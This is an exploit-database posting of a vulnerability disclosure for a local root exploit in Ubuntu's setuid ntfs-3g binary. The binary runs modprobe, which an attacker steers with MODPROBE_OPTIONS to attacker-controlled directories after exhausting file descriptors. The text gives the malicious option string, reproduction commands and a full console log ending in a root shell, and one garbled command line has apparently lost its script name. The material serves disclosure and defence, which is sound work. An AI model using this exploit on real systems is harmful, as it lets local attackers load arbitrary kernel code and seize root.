Source: ntfs-3g is installed by default e.g. on Ubuntu and comes with a setuid root program /bin/ntfs-3g. When this program is invoked on a system whose kernel does not support FUSE filesystems (detected by get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using /sbin/modprobe via load_fuse_module(). The issue is that /sbin/modprobe is not designed to run in a setuid context. As the manpage of modprobe explicitly points out: The MODPROBE_OPTIONS environment variable can also be used to pass arguments to modprobe. Therefore, on a system that does not seem to support FUSE filesystems, an attacker can set the environment variable MODPROBE_OPTIONS to something like "-C /tmp/evil_config -d /tmp/evil_root" to force modprobe to load its configuration and the module from attacker-controlled directories. This allows a local attacker to load arbitrary code into the kernel. In practice, the FUSE module is usually already loaded. However, the issue can still be attacked because a failure to open /proc/filesystems (meaning that get_fuse_fstype() returns FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the FUSE module is already loaded. An attacker can cause an attempt to open /proc/filesystems to fail by exhausting the global limit on the number of open file descriptions (/proc/sys/fs/file-max). I have attached an exploit for the issue. I have tested it in a VM with Ubuntu Server 16.10. To reproduce, unpack the attached file, compile the exploit and run it: user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/ user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./ make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic' CC [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.o Building modules, stage 2. MODPOST 1 modules CC /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o LD [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic' depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit looks like we won the race got ENFILE at 198088 total Failed to open /proc/filesystems: Too many open files in system yay, modprobe ran! modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin' modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory we have root privs now... root@ubuntu:~/ntfs-3g-modprobe-unsafe# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user) Note: The exploit seems to work relatively reliably in VMs with multiple CPU cores, but not in VMs with a single CPU core. If you test this exploit in a VM, please ensure that the VM has at least two CPU cores. Proof of Concept: # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-17]